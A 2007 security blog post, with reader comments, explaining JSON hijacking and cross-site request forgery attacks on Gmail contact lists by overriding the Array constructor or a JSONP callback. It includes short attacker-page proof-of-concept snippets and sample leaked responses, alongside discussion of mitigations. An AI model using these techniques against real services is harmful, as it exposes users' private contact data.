Monday, January 01, 2007

Gmail, XSRF, JSON, Call-Back Hackery

There’s been a lot of press about Googlified’s nicely done Gmail Contact List CSRF Vulnerability, whose effects were similar to mine, although the underlying techniques were different. My hack Gmail hack was more native JavaScript based while this one is JSON related. The subtle details of which point to a larger issue that have to watch out for.

My Gmail CSRF hack worked like this…

Third-Party Web Page:
<* script>
function Array(){

}
<* /script>
<* script src="http://mail.google.com/mail/?_url_scrubbed_">

SRIPT tag CSRF Response:
[
["ct","Your Name","foo@gmail.com"],
["ct","Another Name","bar@gmail.com"]

]

The novelty was I overwrote the anonymous Array constructor to access the contact list data, which should not have been served up through a third-party web page request. Normal anti-CSRF solutions should have been applied here.

Googlified’s hack worked like this…

Third-Party Web Page:
<* script>

function google(a){

}
<* /script>
<* script src="http://docs.google.com/data/contacts?out=js&show=ALL&psort=Affinity&callback=google&max=99999">
<* /script>


SRIPT tag CSRF Response:
  1. google ({
  2. Success: true,
  3. Errors: [],
  4. Body: {
  5. AuthToken: {
  6. Value: '********'
  7. },
  8. Contacts: [
  9. {
  10. Id: '***',
  11. Email: 'users at dwr.dev.java.net',
  12. Affinity: ***,
  13. Groups: [
  14. {
  15. id: '^Freq',
  16. value: 'users at dwr.dev.java.net'
  17. }
  18. ],
  19. Addressess: [],
  20. Phoness: [],
  21. Imss: []
  22. },
  23. // Lots more contacts here
  24. ]
  25. }
  26. })

In this case Googlified overwrote the google JSON call-back constructor to access the contact list data.

Normally when JSON is used, an XMLHttpRequest (XHR) pulls in data from an on-domain location, which is then eval’ed in JavaScript space. Strict JSON formatted data cannot be called by SCRIPT SRC= notation from third-party web page because the JavaScript interpreter will not parse it. A label error will appear in the console. This is good because should a JSON feed contain user-sensitive information, a CSRF hack like the above will not be able to compromise it.

When a website wants to allow access to JSON data feeds from third-party web pages to create mash-ups, they’ll use call-backs. A call-back wraps the JSON data in a JavaScript function as defined by the third-party web page. Just like the “google” call-back function in Googlified’s example. Here’s where the rub comes in…

If any JSON feed containing user-sensitive information is wrapped with a call-back and has a predictable URL... then that data is at risk.

Happy hunting!

8 comments:

maluc said...

well this is far more obvious than an undeclared Array.. before you blogged about that, i never would've considered overwriting the array constructor.

But putting a callback function, it should be obvious that a remote website could access that info .. so it's something google needs to workaround.

As for those workarounds, the simplest that comes to mind is to just whitelist domains that needs it. Google will need to check multiple subdomains but in it's simplest form:

if (document.domain == "www.google.com") { callBack(blah) };

Jeremiah Grossman said...

I'll have to think more deeply on that solution, sounds workable, though management might be an issue.

Another questions is what about those "authenticated" web services that want to deliver call-back wrapped JSON feeds. You know for mash-ups customized for a specific user.

I don't think you can in a safe/secure way.

maluc said...

you're right about management, for a big website like google who has a bunch of subdomains and adds more with every new beta project .. tokens in the link are still probably the best practice.

IIRC, their while(1) solution for the array one was effective but still seemed unprofessional looking. I'm not sure if anyones explored too deeply into JSON's insecurities.. but it's seeming quite dangerous. Which is sad, cuz i love it's elegance over ugly looking XHR calls :/

And i'm not sure what you mean by auth web services, can you elaborate? o.O

Jeremiah Grossman said...

> tokens in the link are still probably the best practice.

Yah, probably. Just hard to implement after the fact, especially for static content. And painful since the vuln is really on the client.

> IIRC, their while(1) solution for the array one was effective but still seemed unprofessional looking.

I agree. Seemed effective though.

> I'm not sure if anyones explored too deeply into JSON's insecurities.. but it's seeming quite dangerous.

Only really a handful a people probably have looked deeply into the subject. There is a lot more in there, I assure you. :)

> And i'm not sure what you mean by auth web services, can you elaborate? o.O

Let's say Google wanted third-party developers to be able to utilize a user's Gmail contact list to create mash-ups in this way. To do that, a user would have to be "authed" when making the CSRF request. That's what I meant. So by doing so, that data is GOING to be revealed to the third-party no matter what.

Point being, unless you prepared to share that data with third-party you can't do this type of authenticated data mash-up.

maluc said...

So by doing so, that data is GOING to be revealed to the third-party no matter what.

> Well i think that's always been the case with third-party extensions in any web technology - unless they restrict it all to iframes or dynamic images.(which at the very least, they better do the login part solely by a google iframe - i really can't trust 3rd parties with my password)

So aside from those two methods, both if which lack customization, if you're allowing 3rd parties to display private info, i don't think you can prevent them from recording it.

The whole 'import contact lists to search for buddies' idea is a terrible one security-wise IMO, and can't be secured. :T

Jeremiah Grossman said...

> if you're allowing 3rd parties to display private info, i don't think you can prevent them from recording it.

Yep, thats essentially it. And I think also a limited JSON adoption in mash-up creation.

Anonymous said...

What happened to the "Gmail Contact List CSRF Vulnerability" link from your article? Its dead. Anyone know where the article went?

Jeremiah Grossman said...

@Anonymous: gone I guess, try the archive. http://web.archive.org/web/20071010053647/http://www.cyber-knowledge.net/blog/2007/01/01/gmail-vulnerable-to-contact-list-hijacking/